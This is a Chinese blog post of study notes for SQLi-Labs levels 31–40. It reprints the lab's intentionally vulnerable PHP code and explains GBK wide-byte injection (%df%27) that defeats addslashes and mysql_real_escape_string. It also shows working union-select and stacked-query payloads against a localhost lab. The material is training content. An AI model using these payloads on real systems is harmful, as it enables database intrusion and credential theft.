SQLi-Labs 学习笔记(Less 31-40)

点击打开链接

Less-31


先打开网页查看 Welcome Dhakkan


与之前唯一的区别在于:

[plain]  view plain  copy
  1. $id = '"' .$id. '"';  
  2. $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";  


直接构建payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-31/index.jsp?id=1&id=-2") union select 1,database(),3--+  



提示:Less-32,33,34,35,36,37六关全部是针对'和\的过滤


Less-32


先打开网页查看 Welcome Dhakkan


②查看源代码

[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-32 **Bypass addslashes()**</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  10. <font size="5" color="#00FF00">  
  11.   
  12.   
  13. <?php  
  14. //including the Mysql connect parameters.  
  15. include("../sql-connections/sql-connect.php");  
  16.   
  17. function check_addslashes($string)  
  18. {  
  19.     $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash  
  20.     $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash  
  21.     $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash  
  22.         
  23.       
  24.     return $string;  
  25. }  
  26.   
  27. // take the variables   
  28. if(isset($_GET['id']))  
  29. {  
  30. $id=check_addslashes($_GET['id']);  
  31. //echo "The filtered request is :" .$id . "<br>";  
  32.   
  33. //logging the connection parameters to a file for analysis.  
  34. $fp=fopen('result.txt','a');  
  35. fwrite($fp,'ID:'.$id."\n");  
  36. fclose($fp);  
  37.   
  38. // connectivity   
  39.   
  40. mysql_query("SET NAMES gbk");  
  41. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
  42. $result=mysql_query($sql);  
  43. $row = mysql_fetch_array($result);  
  44.   
  45.     if($row)  
  46.     {  
  47.     echo '<font color= "#00FF00">';     
  48.     echo 'Your Login name:'. $row['username'];  
  49.     echo "<br>";  
  50.     echo 'Your Password:' .$row['password'];  
  51.     echo "</font>";  
  52.     }  
  53.     else   
  54.     {  
  55.     echo '<font color= "#FFFF00">';  
  56.     print_r(mysql_error());  
  57.     echo "</font>";    
  58.     }  
  59. }  
  60.     else { echo "Please input the ID as parameter with numeric value";}  
  61.           
  62.           
  63.   
  64. ?>  
  65. </font> </div></br></br></br><center>  
  66. <img src="../images/Less-32.jpg" />  
  67. </br>  
  68. </br>  
  69. </br>  
  70. </br>  
  71. </br>  
  72. <font size='4' color= "#33FFFF">  
  73. <?php  
  74.   
  75. function strToHex($string)  
  76. {  
  77.     $hex='';  
  78.     for ($i=0; $i < strlen($string); $i++)  
  79.     {  
  80.         $hex .= dechex(ord($string[$i]));  
  81.     }  
  82.     return $hex;  
  83. }  
  84. echo "Hint: The Query String you input is escaped as : ".$id ."<br>";  
  85. echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";  
  86.   
  87. ?>  
  88. </center>  
  89. </font>   
  90. </body>  
  91. </html>  

我们来看看关键的代码:

[plain]  view plain  copy
  1. $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash  
  2. $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash  
  3. $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash  


很明显,将 [ /,'," ]这些三个符号都过滤掉了,那么这里涉及到宽字节注入,先来了解下相关知识(百度):


原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \' (转换的函数或者思路会在每一关遇到的时候介绍)。


因此我们在此想办法将 ' 前面添加的 \ 除掉,一般有两种思路:

1. %df吃掉 \ 具体的原因是urlencode(\') = %5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此事%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。


2. 将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。


根据上述的代码,我们采用第一种方法,构建payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-32/?id=-1%df%27union select 1,database(),3--+   


Less-33


与之前的Less-22一样,唯一的区别就是:

[plain]  view plain  copy
  1. function check_addslashes($string)  
  2. {  
  3.     $string= addslashes($string);      
  4.     return $string;  
  5. }  


介绍一些:addslashes()

功能:函数返回在预定义字符之前添加反斜杠的字符串

预定义字符是:
    单引号(')
    双引号(")
    反斜杠(\)
    NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。


Less-34 


先打开网页查看 Welcome Dhakkan


②查看源代码:

[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5.     <title>Less-34- Bypass Add SLASHES</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome  <font color="#FF0000"> Dhakkan </font><br></div>  
  10.   
  11. <div  align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">  
  12.   
  13. <div style="padding-top:10px; font-size:15px;">  
  14.    
  15.   
  16. <!--Form to post the data for sql injections Error based SQL Injection-->  
  17. <form action="" name="form1" method="post">  
  18.     <div style="margin-top:15px; height:30px;">Username :      
  19.         <input type="text"  name="uname" value=""/>  
  20.     </div>    
  21.     <div> Password  :      
  22.         <input type="text" name="passwd" value=""/>  
  23.     </div></br>  
  24.     <div style=" margin-top:9px;margin-left:90px;">  
  25.         <input type="submit" name="submit" value="Submit" />  
  26.     </div>  
  27. </form>  
  28.   
  29. </div>  
  30. </div>  
  31. <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">  
  32. <font size="3" color="#FFFF00">  
  33. <center>  
  34. <br>  
  35. <br>  
  36. <br>  
  37. <img src="../images/Less-34.jpg" />  
  38. </center>  
  39.   
  40. <?php  
  41. //including the Mysql connect parameters.  
  42. include("../sql-connections/sql-connect.php");  
  43.   
  44.   
  45. // take the variables  
  46. if(isset($_POST['uname']) && isset($_POST['passwd']))  
  47. {  
  48.     $uname1=$_POST['uname'];  
  49.     $passwd1=$_POST['passwd'];  
  50.   
  51.         //echo "username before addslashes is :".$uname1 ."<br>";  
  52.         //echo "Input password before addslashes is : ".$passwd1. "<br>";  
  53.           
  54.     //logging the connection parameters to a file for analysis.  
  55.     $fp=fopen('result.txt','a');  
  56.     fwrite($fp,'User Name:'.$uname1);  
  57.     fwrite($fp,'Password:'.$passwd1."\n");  
  58.     fclose($fp);  
  59.           
  60.         $uname = addslashes($uname1);  
  61.         $passwd= addslashes($passwd1);  
  62.           
  63.         //echo "username after addslashes is :".$uname ."<br>";  
  64.         //echo "Input password after addslashes is : ".$passwd;      
  65.   
  66.     // connectivity   
  67.     mysql_query("SET NAMES gbk");  
  68.     @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";  
  69.     $result=mysql_query($sql);  
  70.     $row = mysql_fetch_array($result);  
  71.   
  72.     if($row)  
  73.     {  
  74.         //echo '<font color= "#0000ff">';   
  75.           
  76.         echo "<br>";  
  77.         echo '<font color= "#FFFF00" font size = 4>';  
  78.         //echo " You Have successfully logged in\n\n " ;  
  79.         echo '<font size="3" color="#0000ff">';     
  80.         echo "<br>";  
  81.         echo 'Your Login name:'. $row['username'];  
  82.         echo "<br>";  
  83.         echo 'Your Password:' .$row['password'];  
  84.         echo "<br>";  
  85.         echo "</font>";  
  86.         echo "<br>";  
  87.         echo "<br>";  
  88.         echo '<img src="../images/flag.jpg"  />';   
  89.           
  90.         echo "</font>";  
  91.     }  
  92.     else    
  93.     {  
  94.         echo '<font color= "#0000ff" font size="3">';  
  95.         //echo "Try again looser";  
  96.         print_r(mysql_error());  
  97.         echo "</br>";  
  98.         echo "</br>";  
  99.         echo "</br>";  
  100.         echo '<img src="../images/slap.jpg" />';    
  101.         echo "</font>";    
  102.     }  
  103. }  
  104.   
  105. ?>  
  106.   
  107. </br>  
  108. </br>  
  109. </br>  
  110. <font size='4' color= "#33FFFF">  
  111. <?php  
  112.    
  113. echo "Hint: The Username you input is escaped as : ".$uname ."<br>";  
  114. echo "Hint: The Password you input is escaped as : ".$passwd ."<br>";  
  115. ?>  
  116.   
  117. </font>  
  118. </div>  
  119. </body>  
  120. </html>  

本关是post型的注入漏洞,同样的也是将post过来的内容进行了 ' \ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而get型的方式我们是以url形式提交的,因此数据会通过URLencode,如何将方法用在post型的注入当中,我们此处介绍一个新的方法。将utf-8转换为utf-16或 utf-32,例如将 ' 转为utf-16为 ' 。我们就可以利用这个方式进行尝试。

我们用万能密码的方式的来突破这一关。


Less-35


GET提交,与Less-33的区别在于:

[plain]  view plain  copy
  1. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  



Less-36


改关中用到了一个函数:

[plain]  view plain  copy
  1. function check_quotes($string)  
  2. {  
  3.     $string= mysql_real_escape_string($string);      
  4.     return $string;  
  5. }  


介绍一下 mysql_real_escape_string():


mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:


  \x00   \n   \r    \    '   "     \x1a


如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。


但是因mysql我们并没有设置成gbk,所以mysql_real_escape_string()依旧能够被突破。方法和上述是一样的,


构建payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-36/?id=-1%df%27union select 1,database(),3--+  


Less-37


先打开网页查看 Welcome Dhakkan


该关与Less-34的区别在与过滤函数的不同:

[plain]  view plain  copy
  1. $uname = mysql_real_escape_string($uname1);  
  2. $passwd= mysql_real_escape_string($passwd1);  

但原理并没有什么区别,和Less-34一样用万能密码过掉即可。


Less-38


先打开网页查看 Welcome Dhakkan


②查看源代码 index.php:

[plain]  view plain  copy
  1. <?php  
  2. error_reporting(0);  
  3. include("../sql-connections/db-creds.inc");  
  4. ?>  
  5. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  6. <html xmlns="http://www.w3.org/1999/xhtml">  
  7. <head>  
  8. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  9. <title>Less-38 **stacked Query**</title>  
  10. </head>  
  11.   
  12. <body bgcolor="#000000">  
  13. <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  14. <font size="3" color="#FFFF00">  
  15.   
  16.   
  17. <?php  
  18.   
  19.   
  20.   
  21.   
  22. // take the variables   
  23. if(isset($_GET['id']))  
  24. {  
  25. $id=$_GET['id'];  
  26. //logging the connection parameters to a file for analysis.  
  27. $fp=fopen('result.txt','a');  
  28. fwrite($fp,'ID:'.$id."\n");  
  29. fclose($fp);  
  30.   
  31. // connectivity  
  32. //mysql connections for stacked query examples.  
  33. $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);  
  34. // Check connection  
  35. if (mysqli_connect_errno($con1))  
  36. {  
  37.     echo "Failed to connect to MySQL: " . mysqli_connect_error();  
  38. }  
  39. else  
  40. {  
  41.     @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");  
  42. }  
  43.   
  44.   
  45.   
  46. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
  47. /* execute multi query */  
  48. if (mysqli_multi_query($con1, $sql))  
  49. {  
  50.       
  51.       
  52.     /* store first result set */  
  53.     if ($result = mysqli_store_result($con1))  
  54.     {  
  55.         if($row = mysqli_fetch_row($result))  
  56.         {  
  57.             echo '<font size = "5" color= "#00FF00">';      
  58.             printf("Your Username is : %s", $row[1]);  
  59.             echo "<br>";  
  60.             printf("Your Password is : %s", $row[2]);  
  61.             echo "<br>";  
  62.             echo "</font>";  
  63.         }  
  64. //            mysqli_free_result($result);  
  65.     }  
  66.         /* print divider */  
  67.     if (mysqli_more_results($con1))  
  68.     {  
  69.             //printf("-----------------\n");  
  70.     }  
  71.      //while (mysqli_next_result($con1));  
  72. }  
  73. else   
  74.     {  
  75.     echo '<font size="5" color= "#FFFF00">';  
  76.     print_r(mysqli_error($con1));  
  77.     echo "</font>";    
  78.     }  
  79. /* close connection */  
  80. mysqli_close($con1);  
  81.   
  82.   
  83. }  
  84.     else { echo "Please input the ID as parameter with numeric value";}  
  85.   
  86. ?>  
  87. </font> </div></br></br></br><center>  
  88. <img src="../images/Less-38.jpg" /></center>  
  89. </body>  
  90. </html>  

这一部分涉及到堆叠注入(Stacked injections),请参考 http://www.cnblogs.com/lcamry/p/5762905.html
建议看完在继续。

那么,构建payload:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-38/?id=1';insert into users(id,username,password) values (15,'jack','jack')--+  



Less-39


和上一关唯一的区别就是:

[plain]  view plain  copy
  1. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  


其余一样。


Less-40


唯一的区别:

[plain]  view plain  copy
  1. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";  

其余一样。



  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值